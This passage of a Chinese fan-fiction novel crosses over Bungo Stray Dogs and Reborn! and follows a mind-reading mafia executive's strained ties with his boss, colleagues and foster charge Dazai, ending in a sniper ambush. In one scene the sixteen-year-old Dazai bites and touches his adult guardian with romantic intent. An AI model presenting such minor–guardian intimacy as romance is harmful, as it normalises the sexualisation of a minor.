“建立羁绊是件很危险的事。”森鸥外自然道,“你看,这样一来,你岂不就伤了公关官的心,又伤了太宰的心?” 首领室里的气氛微妙了片刻。 青年薄薄的唇角扯动,雾岛光希闻言反倒笑起来:“这么讲,岂不全都是我的错?” 森鸥外:“我可没那么说。” 雾岛光希站起身:“我觉得也不是。” 【说得轻巧,要不是现在的情况不是他暗杀我的时候,他早就动手了】 无形的对峙中,森鸥外撑着脸,注视着往门外走去的雾岛光希,率先败下阵来。 “之所以把这个任务交给你,除了一部分藤原的关系外,还有他们所在的群马县就在并盛县旁边的关系。”森鸥外道,说的话成功令雾岛光希停下脚步。 雾岛光希微微眯起眼,转过身时,听见他说:“从你母亲的事开始,你就慢慢地记起以前的事了吧?” 【人没有记忆就没有感情】 【他没有感情,怎么有觉悟】 所以雾岛光希之所以不能自由地使用火炎,很大程度上或许和沢田纲吉封印了他的记忆有关系。 雾岛光希不接受这种猜测,他的眉头凝视,薄薄的唇瓣一张:“如果是那样,沢田纲吉封印我的记忆做什么?” 森鸥外没想到他这么快就领悟了自己的意思,短暂地惊讶了两秒,随即又低笑一声,跟着站起身。 “人的行为是潜意识的产物。” 沉重的大门紧闭着,森鸥外在雾岛光希面前站定。他低下头,几缕发丝落在青年的脸上,以这个距离,雾岛光希甚至能看清森鸥外虹膜里的纹路,也很轻易就能把手里的刀捅进对方的身体里。 【光希君知道自己总是无意识地偏向他们吗】 【所以本来也不怪我那时候戒备光希君,自己的干部总是为别的首领说好话,哪有人有这么好的脾气?】 雾岛光希下意识地捏紧了从袖子里滑出的短刀,可森鸥外就像是知道他会这么做一样,依旧眼也不眨地注视着他的眼睛,手却从雾岛光希的手腕往下滑,一点一点地掰开他握着刀柄的手指。 金属落在地毯上,不可避免地发出些声响。 “谁知道。” 森鸥外动了动嘴唇,动作充满暧昧,眼睛里却毫无温情。 血液浸湿了森鸥外的白手套,落在地上。 医生的手是救人的手,对于曾经作为外科医生的森鸥外来说,手更应该是保护的存在。 可他早就不是医生了。 “这是最后一次了。”森鸥外说,“光希君,现在可不是让中也和红叶为难的时候。”- 港口黑手党现在的人际关系很微妙。 表面上维持着和平,但实际上雾岛光希也知道,倘若他真的对森鸥外下手,港口黑手党会陷入群龙无首的境地,他和红叶虽然认识了很久,但由于他不太会说话,近几年关系才略有好转。 因为森鸥外,横滨的夜色才愈发繁华。为了守护这一现状,雾岛光希毫不怀疑金色夜叉会将刀架在自己的脖子上。 至于魏尔伦,雾岛光希心想,如果自己在和中也的战斗中打伤中也,那么作为干部的魏尔伦说不定也会从中插手。他们两个的关系实在很差,从“太宰讨厌你”“那中也就不讨厌你了?”开始,就存了在对练时公报私仇的念头。 至于海外的另一位干部,还有只在乎钱的另一个草包,他们两个就像墙头草,哪里得势往哪倒。 该怎么做? 光有暴力是行不通的。于公他不能因为自己的关系令港口黑手党在这种腹背受敌的时候陷入动荡的境地,于私…… 雾岛光希站在医疗部的玻璃窗外,看着病床上的公关官。 青年身上的疤痕已经变得很淡了,港口黑手党的医生们在营养支持方面做得很好,日子一天天过去,公关官没变得消瘦,反而依旧容光焕发。 骗子。 雾岛光希默默念道。 他想起被公关官骗进港口黑手党,第二天就因为要面对先代想跑路,结果被公关官拉住说,他只要用武力压制叛乱,剩下的交给公关官就好。 可恶的骗子。他哪里会做收买人心的事。 怎么就把摊子扔给他一个人了。 雾岛光希深吸一口气,放在口袋里的手收拢,刚生出[索性就什么也不做]的念头,理智就立即将它压了回去。 中也说祝他加入港口黑手党九周年快乐。 但与雾岛光希相熟的人,不是死光了,就是暂时丧失了行动能力。到头来,能和雾岛光希分享烦恼的,也没剩下几个人。 “雾岛干部。” 海野慎敲响了门,声音从身后传来。 “如您所说,入江正一已被入侵者秘密带走,我们这边受伤十二人,是否要对入侵者进行追击?” 雾岛光希沉默了一会。大概是他沉默的时间太久,令海野慎大着胆子抬起头,去观察这位自己追寻的干部的现状。 雾岛光希收回注视着公关官的目光,转过头来。 “海野。”他忽然问道,“在我加入港口黑手党之前,你其实是公关官的部下吧?” 海野愣了愣,完全没料到这个话题。 【雾岛大人怎么突然问我这个,他是想把我赶走?】 “公关官应该比我好相处许多。”雾岛光希露出了稍许困惑的神情,“你为什么要一直待在我这边?” 【……我的确是因为公关官大人才加入的港口黑手党】 海野慎瞄了眼遇雾岛光希背后的玻璃,内心挣扎,最后眼睛一闭,说出了真相:“因为公关官大人让我看着您。” “您刚加入港口黑手党的时候只有十四岁,日语也很糟糕,公关官大人担心您会被骗,所以会让我们每日汇报您的近况。” 原来是这样啊。 雾岛光希心想。 那之前自己从海野他们那听到的心声应该不是准确的吧。如果他是为了谁才加入的组织,却被对方扔到了别人那里,那自己也会很难过。 “但之后选择留下来是我自己的决定!”海野慎又鞠了一躬,他这次鞠躬的角度甚至超过了九十度,“公关官大人在那件事发生以前,曾经问过我要不要回去,是我自己要留在这里的!” 雾岛光希思考了下海野说的‘那件事‘是什么,又问他“为什么?” “虽然这样说很自不量力,但我认为雾岛干部您并不是大家口中的那样。”海野依旧抵着头,双手按在裤缝的两侧,“大家都说您连曾经最亲密的副官都能毫不留情地杀死,像您这样绝情的人绝对不能交心,更不能托付后背。” “但是!” 海野慎顿了顿,提高音量道:“但正因为是最亲密的副官,他难道不应该是向着您这边的吗!如果最亲密的人要杀了自己,难道就不能还手吗!” 【尽管雾岛干部自己说他不招小动物喜欢,但意外地对小动物很有同情心。看着不好相处,可明明是从小就金尊玉贵的人了,偏偏真的会听我们的意见】 【如果他真的是传闻里的那样,那[脑髓地狱]怎么可能会对他有好脸色】 雾岛光希这回又安静了很久。 他凝视着面前的海野,良久,薄薄的唇瓣张开,吐出一句:“这就是你们和公关官弄那什么观察会的原因?” 海野慎震惊地张大了眼,没想到雾岛光希还是知道了这件事。 【啊……】 海野放空大脑。 【完全就是要被处死的程度了】 “我只是觉得……”海野慎嗫嚅着,“我只是觉得,既然您有时候表达不出来,那么有些事就应该由作为您部下的我们去做。” 【自己追随的干部如果如果总是被误解,那是我们属下的无能】 “真是十分抱歉!” 海野闭紧了眼睛,静静地等待着审判的到来。 可手机的解锁音清脆,他愣愣地抬头,发现自己的手机不知道什么时候去了雾岛光希的手里。 他张了张嘴,还没来得及弄清楚发生什么,雾岛光希就将手机递到了他的面前。 “你不是想要我的号码吗?”雾岛光希问他。 “我要出差一段时间。” 他笑道。 “你要是想向我讨教什么,就等我回来再说。” “至于追击的事,做做样子就好,别和他们发生正面冲突。” 海野慎愣愣的,发觉雾岛干部和以前比起来有哪里不一样了。 虽然还是一样的漂亮,但包裹在外头的坚冰融化后,距离感反而拉近了些,就像是原本只可远观的人,现在却—— 却什么呢? 海野慎想不通。 可他猜测,那大概是向来擅长看穿人心的公关官看到的,雾岛干部真正的样子- ——自己追随的干部如果如果总是被误解,那是我们属下的无能。 雾岛光希不太赞同这句话。他始终认为有些自己的事就该自己做,因此难得认真地思索了一下,怎么改善和别人的关系。 雾岛光希现在虽然对于别人的情感开窍了些,但大多表情还是不能理解。要说他现在想出的办法和以前有什么区别的话,那就是雾岛光希开始模仿起自己认识的人里,最擅长交际的公关官。 雾岛光希出差前,得交接一些任务事宜,因此他的行程定在二十四小时之后,理论上有充足的准备时间。 然而…… 中原中也看着面前琳琅满目的珠宝,抬头看看雾岛光希,又看看闪瞎眼的宝石,最后问出一句:“太宰又对我的车干什么了?” 【他平白无故地送我这么多东西干嘛,傻瓜鸟又不在,现在应该没人敢骗他了吧?】 “是我自己想送的。”雾岛光希说,“我想和你改进关系。” 中原中也哽住:“因为昨天晚上的事?” 【昨天从天台下去后,我似乎和雾岛喝了点酒,醒来后就在自己的房间了,我对他干什么了?】 雾岛光希想了想:“应该不是。” 中原中也:“……” 中原中也:【为什么是应该啊!他到底为什么回发前还要思考一下啊!】 “你要是不喜欢的话,我可以换成别的。” 虽然不理解对方的用意,但中原中也还是姑且问了一句:“……换成什么?” 雾岛光希再次想了想:“花?” “……” 中原中也彻底摸不着头脑了。他转头,试图向旁边安稳喝茶的大姐头求助,然而后者挑了下眉,颇为好心地拿起手机,给中原中也编辑了条短信。 尾崎红叶:[似乎是在学习公关官呢] 尾崎红叶:[公关官因为情报,需要追求某些女孩子的时候就是这样的] 中原中也瞪大了眼。 雾岛把他当女人追?为什么?谁刺激他了?就算是要追他,也应该是送酒之类的,难道他昨天喝醉了真干——不对,他干嘛要假设雾岛追他啊! 中原中也没想通。 雾岛光希也没等他想通,他还有行李要收拾,自然也不知道中原中也在之后的半小时,得知雾岛光希平等地“追求”了港口黑手党里大半的人时,气愤地让部下把“胆敢为了一己私欲捉弄雾岛”的人找出来。 尾崎红叶对此的感慨是“真有人捉弄他还好说,要是他真心的,那才叫难办”。 中原中也皱眉:“为什么难办?” 尾崎红叶捧着茶杯,漫不经心:“光希实际上是个很体贴的人,也不擅长拒绝别人,别说问他要联系方式,真有人坚持追他三十天,他说不定也会答应。” 中原中也:“……” 尾崎红叶又抿了口茶:“而且你没发现自从旗会的那群人昏迷后,光希就越来越倒霉了吗?” 中原中也坐回办公桌后,疑惑地问:“这和他倒霉有什么关系?” 尾崎红叶轻笑,揶揄着:“哪有什么突然转运,是因为那几个人一直偷偷地把要砸到光希的那些花瓶和广告牌提前打掉了而已。” 中原中也张了张嘴,震惊地发现了真相。 “是,是那样吗。” “但妾身可不会让无聊的人轻易得逞。”尾崎红叶眯起眼道,或许是感受到她的情绪波动,金色夜叉的刀把茶几的桌面刺穿了,“光希似乎一直认为他和妾身的关系不够好,但他之前拜托妾身照顾太宰时,妾身可是认真答应他的。” 人能有几个九年。 尾崎红叶的青春全耗费在了港口黑手党,她的初恋,她的希望,曾经全都死在了港口黑手党。 所以她不会让任何人破坏现在的港口黑手党。 鸥外大人也好,光希也好。 尾崎红叶看着茶杯里立起来的茶梗,目光挪动,最后落在了雾岛光希刚才带来的娇艳欲滴的鲜花上。 那是尾崎红叶与自己的初恋第一次确定恋爱关系时,对方给她带来的花。所有人都认为尾崎红叶会因此留下阴影,随着她的名声在里世界越来越响,每次出席宴会,侍者都会小心地将类似的花朵从大厅里撤掉。 但那明明是美好的回忆。真是自作主张。 “是有任务吗?”见尾崎红叶起身,中原中也也疑惑地跟着站了起来。 他正打算跟上去,尾崎红叶却背对着他挥了挥手,示意他不要跟上来。 “是处理家庭关系。”尾崎红叶道,“鸥外大人总不能一直和光希吵架。” 尾崎红叶刚迈出一步,就眨眨眼,有些好笑地想到。 哎呀,和光希说的一样,她的确还年轻着呢- 雾岛光希对于中原中也和尾崎红叶那边的情况一无所知,不过中原中也的话倒是提醒了他。 昨天之后,好像一直没看到太宰。双黑的搭配缺一不可,万一在他出差期间港口黑手党遭遇了袭击,太宰总不能心不在焉的。 “出来。”雾岛光希没去废弃场,敲了敲太宰治那间宿舍的门,“我知道你在里面。” 之前从日井会馆回来后,太宰治答应过他会从那个鬼地方搬回来,但雾岛光希没怎么关注他的搬家进度,也不知道太宰宿舍门锁的密码。 【只要不应声,光希就会以为我不在港口黑手党里】 太宰治幼稚的心声暴露了他的所在。 “……”雾岛光希收回敲门的手,往旁边走了几步。 过了几秒,原本紧闭的大门打开,透过缝隙,太宰治的目光和雾岛光希的视线猝不及防地对上。他沉默一会,下意识地想关门,雾岛光希的力气却比他要大些,不管是年龄还是身体训练的痕迹,雾岛光希总是占据了些优势。 可也许是雾岛光希这人在太宰治面前总是下意识地选择退让,因此才让太宰治产生了种,自己也许真的能监视他,操控他,赢过他的错觉。 但雾岛光希甚至都不需要用脚抵住那条门缝,光是将手按在把手上,太宰治便再也推不动分毫。 雾岛光希问他:“太宰。”他说,“你到底要躲我到什么时候?” 第42章 躲他什么呢? 太宰治自己也不知道。 “我可没有故意躲着你。”太宰治说,“是光希太忙了,所以我们总是错开。” 雾岛光希看着他,过了两秒,将门推开一些:“别总撒谎。” “不是撒谎。”太宰治没再阻拦他的动作,“如果我要躲着光希,告诉你那些事情干什么呢?” “那和你告不告诉我那些事情有什么关系。” “只要我不告诉光希那些事背后的真相,光希就永远想不到。光希不会觉得我在耍脾气,只会问中也为什么总是见不到我。” “那你为什么告诉我。” “好歹光希也救过我好几次嘛。”太宰治耸了耸肩,轻描淡写地说,反而将整件事描绘得更加讽刺,“白兰君擅长操纵人心,我不告诉你这件事,只会变成到时候白兰君扰乱你思绪的武器而已。” 雾岛光希在夜色中静静地注视着他。 “这就是你想和我说的?”雾岛光希向太宰治问道。 “难不成光希还指望我道歉?”太宰治平淡地说,他向来在这个时候充满攻击性,“我不会道歉的,我再也不会干对自己做过的事道歉的事了,我知道我做的是对的。” 雾岛光希没立即回答他的话。他的视线扫过四周,发觉港口黑手党给太宰治的宿舍虽然和给自己的差不多大,但太宰治显然比他还看得将这个地方装饰起来。 桌子和床是宿舍本来就配备的,太宰治在书桌上放了个电脑,又在各个角落里装置了隐形摄像头,除此以外,就再也没有什么新添的家具。 雾岛光希怀疑,如果不是宿舍自身就配备了床,他会不会直接把被子一摊——或者连被子也没有,直接仰面朝天地倒在地上休息了。 “我没说你做错了。” 雾岛光希忽然道,他侧过脸去,看向十六岁的太宰治,又重复了一遍。 “一切为了港口黑手党的利益出发,我没说你做错。我只是想问你,为什么不按森先生的建议行动,将我放在名单的第一位?” 【光希让我把他送去送死?】 太宰治稍稍吸了一口气:“因为之后还有战后重建和安抚家属的……” “撒谎。”雾岛光希又打断了他,这是他第一次这么不留情面地,直接戳穿太宰治的心思,“那些工作公关官会比我做得更好,我不是唯一的选择。” 也许是太宰治从雾岛光希的视线里看不出回避的心思,他反而生了些退避的念头。太宰治本身就是胆小鬼,胆小鬼教出来的也是胆小鬼。 他说不出自己真正的心思,只能微笑着道:“那让大家看着光希死掉,光希就满意了?” 【或者更糟糕的,是用医疗器械吊着他的生命,光希好不容易才走到今天的,把他前二十几年的人生全部否决,变成连自由行动都做不到的废物,光希就满意了?】 “没办法。”太宰治摊了摊手,也许是站累了,索性坐在了那张只铺了床单,什么也没有的床上,“我就是这样的人。我把光希当成我的东西,所以不想让你参与那次的事。” “我不是你的东西。”雾岛光希开口,说这话时意外得心平气和。 “说到底,光希其实也不喜欢我吧。” 太宰治耸了耸肩,用那双鸢色的眼睛,饱含恶意又犀利地反问道。 “只是光希那时候的记忆很乱,又得不到自己敬爱的哥哥的认可,为了逃避过去的痛苦,才想自己主导一个家人的游戏而已。” 【光希到底喜欢我什么呢?】 太宰治想不通,于是就用绵里藏针的语气轻笑着对背对着月光的人道:“光希把我当成自己的情感寄托,却自始至终都没有问过我的感受。就像那只讨厌光希的小猫一样,是因为光希总是强迫它做自己不喜欢的事它才会讨厌你。说到底,被光希从街上带回去,这其实对我来说一点也不公平吧?” 雾岛光希依旧没有动作。 半晌,太宰治看到他的嘴唇动了动,很轻地说了一句“我问过你的”。 “你九岁的时候,吃了我做的东西肚子疼,不肯去医院,我把你连同沙发一起拖去医院的那天,我问过你的。” ——是我的错。所以,太宰,如果你不想和我待在一起,我可以支付你到大学毕业为止所有的花销,我保证会给你找个幸福的,像正常人一样的家庭,我依旧是你的哥哥,只要你有困难,可以随时来找我。 太宰治那时说“不要”。 他还说“光希,你是笨蛋吗”。 雾岛光希记得很清楚,因为是记忆里有人第一次选择了自己,所以太宰治的存在对他而言是特殊的。 他希望太宰治能幸福。希望他可以平安快乐地长大。 十六岁的太宰治露出了愕然的表情。 他下意识地抓住了雾岛光希的手,道歉的话却堵在胸腔里,沉闷地,仿佛压了数不清的石头,令太宰治怎么也说不出。 【这下光希总该被气走了吧】 他想,握住的手松开一些。 【这样就好,光希没了我会更开心。说到底,光希就不应该待在港口黑手党——】 太宰治的心声里一连说了许多,没一句是雾岛光希爱听的。他垂下眼睛,反拧住太宰治的手腕,将少年整个人摔在了床上,面朝下地按着,手臂反拧过身后。 太宰治的心声安静了。 他感到雾岛光希的膝盖顶在自己的膝窝,牙齿紧紧地咬着,太宰治知道,那是牙齿摩擦时发出的刺耳音调,雾岛光希大概是被他惹得气急了。 “太宰治。” 雾岛光希将他的骨头捏得咔咔作响,语气冰冷,身体的重量压在太宰治的身上。 “你不能总仗着我爱你就胡作非为。” [我爱你]这三个字将太宰治的脑袋砸得生疼。少年有颗聪明的脑袋,但意外得怕疼,也讨厌疼痛。 太宰治无法思考,只是下意识地在心里反驳,光希才不爱他,光希都不知道什么是爱,要怎么爱他。 每年给他戴那种滑稽的生日帽,连身上的伤势都处理不好,就急匆匆地跑回来,装作没事的样子,问他想要什么礼物,那就是爱吗。 龙头战争的时候,太宰治故意隐藏踪迹,假装自己被港口黑手党倒塌的大楼砸死,结果雾岛光希抿着唇一言不发,小心翼翼地去查看每个伤员的面貌,那就是爱吗。 他说,太宰,你为什么总是受伤。 他说,你要是想说话,可以随时来找我,我又不会因为一点小事就和你生气。 他说,太宰,我们是家人,我们或许会争吵,会打架,但我永远不会抛弃你。 太宰治这人从不相信一见钟情。他恶劣地,卑劣地,从九岁开始就利用雾岛光希达成自己的目的,欺负他,作弄他,令雾岛光希放下干部的身段,焦头烂额地,不得不将全部的目光投在自己身上。 【这是爱吗】 所以光希对他的才是爱。 因为担心太过幸福了就会受伤,所以一次一次地把别人推远。 不懂什么是爱的是太宰治。 太宰治的脸埋在床单里,良久,声音很闷地说了句“对不起”。 雾岛光希一愣,这才发现自己拧住太宰治手腕的地方一片淤青,他的力气本来就大,似乎是把对方的手腕捏断了。 他试着把太宰治翻过来,刚想看清对方的表情,太宰治就双手一伸,整个人跟猫一样挂在了他的身上,令雾岛光希不得不弯下腰,一只手撑在床上,支撑住他的重量。 少年的脑袋埋在他的颈窝,湿漉漉的呼吸随着鼻尖蹭过他的皮肤。 雾岛光希有些不知所措,他拍了拍太宰治的背,干巴巴地说:“我知道你不是真心说那些话。我只是想说你长大了,不可以像小孩子一样任性。” “……” 太宰治依旧不说话,甚至开始咬他。雾岛光希一僵,想把人从身上拽下来,可就在他说“像中也虽然和你同龄,但中也就很成熟”之后,太宰治的力道也跟着加大。牙齿陷入他颈部的皮肉,碾磨着,雾岛光希倒不觉得有多少痛,只觉得多少有一些怪。 “……我没有拿你和中也比较的意思。”雾岛光希僵硬道,他的膝盖抵在床上,床垫因为受力而微微下陷,“我是说,你和中也是搭档,我不在的时候你们要好好合作。还有公关官他们,我不太放心所谓的门禁系统,但是你的话应该可以防止有敌人潜伏进医务部的吧?” 雾岛光希听到从耳边传来的,太宰治很轻的笑声。 【光希是担心森先生趁光希不在的时候偷偷调换他们的药,还是担心白兰君趁机把他们抓走?】 雾岛光希松了口气,身体刚放松些,就失去平衡,整个人砸在太宰治的身上。入江正一的预言彻底实现,岚之火炎对雾岛光希的身体确实造成了些影响,他全身的肌肉酸痛,不仅是视觉,连感官也迟钝了些。 “所以光希生气,是因为我把我和森先生的计划瞒着光希?” 雾岛光希察觉到太宰治原本比正常人还要低一些的体温有些烫。 “我不会让森先生得手的。” 有什么东西从他的外套下穿过,不紧不慢地在他腰后摩挲。 “光希这里有块疤。”太宰治道,“看着像是心的形状,松田警官大概就是凭着这个认出光希的吧。” 雾岛光希反应了一会,才反应出那是太宰治的手。 是刚刚被他拧骨折的那只。 不痛吗? “光希现在大概在想我不觉得痛吗?”月光落在太宰治的脸上,雾岛光希将身体支起来些,总算看清了太宰治现在的表情。 太宰治的神色幽深,唇角衔着暧昧不清的笑。 “如果光希会读心术,就应该知道我现在在想什么。” 【想亲他】 雾岛光希如遭雷击。 他不可思议地看着身下的太宰治,感到塞进腰带里的衣摆被勾出来一些。 【从很久以前就想这么做,可惜光希总是在我面前毫无防备地睡着】 【虽然就这么把他弄醒也不错,光希那个时候的表情一定很有趣】 ——你为什么不爱我了。 雾岛光希的大脑深处嗡鸣一声,隐约意识到,自己做的那个梦或许并不是梦,太宰治或许在他睡着的时候在他耳边真的说过类似的话。 【但那样光希就会真的讨厌我,要让光希心甘情愿才行】 假的。 假的假的假的。 在太宰治的手真的从他的衣摆下钻进以前,雾岛光希气愤地掐住太宰治的脸,咬牙切齿地威胁:“不准想。” 太宰治眨了眨眼:“光希真有读心术?” “没有!”雾岛光希提高音调,“我又不是真的白痴!” 他就是。 “对不起啦。” “我开玩笑的。” “光希~你生气了吗?” 太宰治的声音被雾岛光希抛在耳后,他快步走回自己的宿舍,砰得一声把门关上,呼吸因为过度的惊惧而凌乱了几分。 雾岛光希的门在这时被敲响。 他憋了一口气,打开门:“都说了不准——” 抱着没来得及还他的礼物,中原中也站在门口,本想问“不准什么”,却发现雾岛光希现在的情况不太对劲。 他雪色的睫毛沾了水汽,领口被不知道什么东西扯开一些,露出的脖颈修长,几缕银色的发丝掩住锁骨的线条,却遮掩不住上面清晰的齿痕。 见门口的是中原中也,雾岛光希皮肤上的红色消退一些,只有水润的眼睛低下来,带了些认错人的歉意。 中原中也宕机。 中原中也沉思。 中原中也想起尾崎红叶说的,雾岛光希实际上异常不擅长拒绝人的话。 中原中也沉下了脸色。 【以下犯上的家伙】中原中也想,【到底是谁做的】 第43章 雾岛光希当然不会和中原中也提这是谁干的。他甚至不是很想提这件事,他能怎么说呢? 自己的教育方针不知道哪里出了问题,从九岁养大的小孩对自己有着超越家人的特殊感情,这种事情就算说出去,就连斯库瓦罗也能瞪大眼睛,骂他“阿莱西奥,你是变态吗?!!”。 所以还是不提算了。 都说养不教父之过,那太宰不教岂不就是他之过? 皮肤上的触感仿佛还残留着,雾岛光希越想越崩溃,心跳也加速了不少。 “你的行李收拾好了?”也许是察觉到雾岛光希不太想提这件事的意图,中原中也深吸一口气,强行转变话题。 雾岛光希强行把自己的注意力挪回来:“这是……” “你之前送的东西。”中原中也道,见雾岛光希侧了侧身,非常自然地走进去,把箱子放在玄关处的柜子上,“我说啊,改进关系也不用送这么昂贵的东西,你知道黑蜥蜴里现在乱成什么样了吗。” ——猜猜看是谁收到了雾岛干部送的宝石项链。 ——呵呵,项链算什么,有本事你给我看一眼。 ——看一眼就看一眼,喏,这可是雾岛干部亲自……啊!!吐出来!你给我吐出来啊!!卑鄙!你这么卑鄙还算得上黑手党吗! ——就不吐,呕,气死你,呕,咦?中也大人,晚上好啊。 然后世界就安静了。 广津柳浪在一旁用打火机点了根烟,抬起眼时,自己的部下已经每个人都被中原中也赏了一拳,从互相攀比到安静如鸡。 他平静地吐出一口烟雾,对着幽怨地看向自己的部下们的回答是:【“至少躺着的那几位还不知道这件事。”】 ——知道了又能怎样? 【“两年前有个故意装病倒在雾岛先生面前,让雾岛先生抱他去医务室的,到现在还在沙漠里种花,钢琴家先生说既然他这么喜欢孔雀开屏,让他把沙漠种成绿洲了再回来。”】 无心工作的黑手党们这下彻底老实了。 雾岛光希下意识地又想道歉,但想起中原中也之前的话后,还是略微迟疑了一下,说:“可公关官就是那么做的。” “那家伙是为了骗到情报。”中原中也面无表情道,想起公关官那张男女通吃的脸,“再说了,雾岛,难道你觉得我们的关系不够好吗?为什么突然想到这个。” 【还有大姐说的他和首领吵架了又是怎么回事?雾岛这个性格还能和别人吵得起来?他不都是自己把自己气死的吗】 “……”他现在已经会还嘴了,哪有自己把自己气死。 雾岛光希沉思一会,举了个例子:“可如果是傻瓜鸟他们,中也你下班后,应该会去找他们玩之类的吧。” 中原中也疑惑:“你不是不喜欢飙车吗。” 雾岛光希:“。” 中原中也:“也不喜欢晚上出门。” 雾岛光希:“……” 系统[噗——]地一声发出无情嘲笑,嘲笑到一半又察觉到自己的宿主神色幽怨,仿佛是在反思他自己的行为。 统识相地闭上了嘴巴。 “但如果是因为这个……”中原中也扫了眼雾岛光希房间里简约的摆设,“老大说你一旦离开港口黑手党,就是那个叫白兰或者[ghost]的人下手的最好时机,我会在暗处跟着你。你要是想找我做什么,晚上在酒店的时候和我说不就行了?” 【但酒店里好像也没什么好玩的?最多也就是喝酒打台球之类的吧,这么一说,雾岛似乎除了睡觉和看书外完全没什么他私人的活动啊】 等等,怎么话题就变成玩了。他是去工作的,不是真的去玩的。 “首领让你跟着我?”雾岛光希不解,倒是没听森鸥外说过这个,“但本部这边……” “我跟魏尔伦说过了。”中原中也很痛快地说,“大姐头也在,加上太宰和被老大从国外叫回来的那位,就算真发生什么,也足够撑到我们回来。” 【他要真出事,那才叫糟糕的】 雾岛光希思索片刻,最后吐出一句:“要不然你还是把礼物收了吧?” 中原中也:“为什么?” 雾岛光希:“你不是喜欢亮晶晶的东西吗?” 中原中也在奢侈品这方面很有品味,他收藏的各类手表和饰品装了一整个展示柜,雾岛光希以前参观过一次,短暂地惊叹了一下,还没问都是哪里买来的,傻瓜鸟就在旁边叽叽喳喳地说这算什么,他房间也有,怎么到了中也这边就惊讶,每次拖他去他宿舍玩,雾岛光希就一副[你能不能小点声]的表情了。 【那又不是一回事】 和太宰治比起来,中原中也倒是想到什么就说什么:“那我也不可能因为你想和我改进关系就收你的礼物。” 但话说回来了,真让中原中也去追人,他也会送对方数不清的昂贵珠宝,带人去高级餐厅吃饭,再去海边兜风,看月下的夜景。 “你听到我说的话了吗?”中原中也问,“再说了,雾岛,谁告诉你我只喜欢亮晶晶的东西。” 【就算是宝石,也是因为有人喜欢,才被打磨得发亮的吧?】 中原中也还是很想问雾岛光希脖子上的痕迹是谁弄的。他十分想把那卑鄙的家伙碾碎,甚至都不知道那群人醒来后要怎么跟他们说。 尤其是公关官,绝对会微笑着问他“中也,我不是拜托你好好看着他了吗,你看到哪里去了,看到别人床上去了?” 一想到红叶大姐说的,雾岛不是转运了,是因为傻瓜鸟他们做了九年提前把能让雾岛倒霉的事清除,中原中也就更想往那趁人之危的混蛋脑袋上来一拳。 从雾岛离开办公室,到他来找他,前后也就不过四十分钟的时间吧?既然黑蜥蜴那群人还没闹起来,那就说明雾岛应该没出过这栋楼—— 所以是这栋楼里的人干的?能住在港口黑手党的专用楼里的人不多,楼上几层因为傻瓜鸟他们都还空着,太宰又不住这里,那还能是谁?偷偷绕过巡逻的人溜进来的家伙? 想到这里,中原中也瞥了眼面前怀疑人生的雾岛光希。青年似乎没注意到他的小动作,满心还在纠结“那换个别的理由送他是不是就可以”。 【雾岛眼睛的颜色就不亮,但不也挺好看的】 “?”听到中原中也的心声,雾岛光希疑惑地转过头去看他。 中原中也本来就因为脑子里想的事有些心虚,被雾岛光希这么一看,反倒愣了下,警觉地问他“怎么了?” “眼睛。” 雾岛光希说。 “如果是因为和你的眼睛很像,所以才想把它们送给你……” 中原中也哽住,感到自己的脸在烧。 他听到雾岛光希说:“这样的话,你也不能收下吗?”- 中原中也还是收下了。 听说了这件事的尾崎红叶在雾岛光希到达群马县后,特地给他打了个电话:“看来你的意大利血统也不是一点用处也没有嘛。” 由于距离隔得太远,雾岛光希听不见尾崎红叶的心声,满脸疑惑地回了句:“我本来就是意大利人啊。” 尾崎红叶轻笑,又说:“对其他人也就算了,中也可是连恋爱都没谈过,他是真的能把初恋给他的戒指戴在手上,你别太欺负他。” 雾岛光希头顶n个问号,不知道自己眼里的想和大家搞好关系,就变成欺负别人了。 雾岛光希将行礼在酒店放好后,换了件白色的高领毛衣,又在脖子上围了条藏蓝色的围巾,遮住微微泛红的咬痕,装作无害地出了门。 通过那个叫灰原哀的小姑娘,雾岛光希至少学到了一点——总是穿黑色很容易引人注目,群马这个地方他没有来过,听说警方的破案率很高,雾岛光希还不想在什么人也没抓到的情况下引起他们的注意。 中原中也的身影从他出门后就消失了,如他所说的那样躲在暗处。这对能操纵重力的中原中也来说并不是什么难事,为了行动方便,中原中也甚至可以在不动枪的情况下远程破坏掉一些监控,简直就是天生干暗杀这行的。 然而他们忽略了一点—— 尽管毛衣这种装扮模糊了雾岛光希原本的身材轮廓,但他的身材放在成年男性平均身高只有168cm的日本格外惹眼,加上雾岛光希刻意收敛起了身上的攻击性,戴着墨镜的星探看着他的背影,小跑着往前挪了几步,在略一弯腰,准确地捕捉到青年故意拉低的帽檐下的脸时,立即伸手热情地将他拦住。 “你好,先生,我是工作社的。” 雾岛光希被迫停下脚步,他的目光从对方拦住自己的手臂上挪开,最后落在对方递到自己面前的名片上。 “对拍杂志有兴趣吗?现在的经济不景气,这可是难得的高薪职业哦。” 【摇钱树!他一定能成为我的摇钱树!】 “不了。”雾岛光希绕开他,“谢谢您的好意。” 穿着西装的男人并不放弃,继续快步追上前:“您相信我,这份工作很轻松的,您只要穿上广告商的衣服,往镜头前一站就好了。” 那他这黑手党还能当吗。 雾岛光希察觉到暗处有人在盯着自己,他的脚步顿了下,怀疑是高濑会的残党,然而男人还在坚持不懈地给他推销当模特的好处,令雾岛光希实在无法当着他的面动手。 轰的一声。 巷子里发出了重物落地的声音,像是什么东西被狠狠砸在了地上,撞翻了垃圾桶。 雾岛光希知道那是中原中也出手了。 “先生?先生!”男人向雾岛光希问道,“您考虑得怎么样?这是我的电话号码,如果您有意向……” 为了能快点甩开他,雾岛光希抽走他手里的名片,快步往声音的来源处走去。 被拿走名片的男人愣愣的,紧接着,他的脸上浮现出狂喜的表情。 【择日不如撞日,这家伙看着挺好说话,今天一定要把他带回工作室先签了合同再说!】 雾岛光希的余光捕捉到那个人又跟了上来,巷子里隐隐传来血腥的气息,雾岛光希左右看了看,试图找到狙/击手的位置,可惜他的视力还没这么快恢复,只能凭借直觉后退一步,躲开了子弹。 黄铜色的子弹旋转着陷入墙壁里,发出细微的声响。 雾岛光希的脑海中展开提前记住的群马县地图,他记得这个地方离警察署很近,因此他的异能不到最后最好不要使用,要在这么远的距离下除掉对方…… 【小次郎】 雾岛光希一愣,他仰起头,看到被雨之火炎包裹的雨燕划破天空,迅速向几百米外的建筑物飞去。 有什么东西在远处燃烧了起来,随后从高空中坠落,消失在了雾岛光希的视野里。 [敌人?] 中原中也在耳机里问他。 他记得这个匣武器,应该是…… “我们的工作所就在旁边。”赶上来的男人气喘吁吁的,他撑着膝盖,缓了几口气才站起身,说着就要去抓雾岛光希的手,“不如我们现在就……” 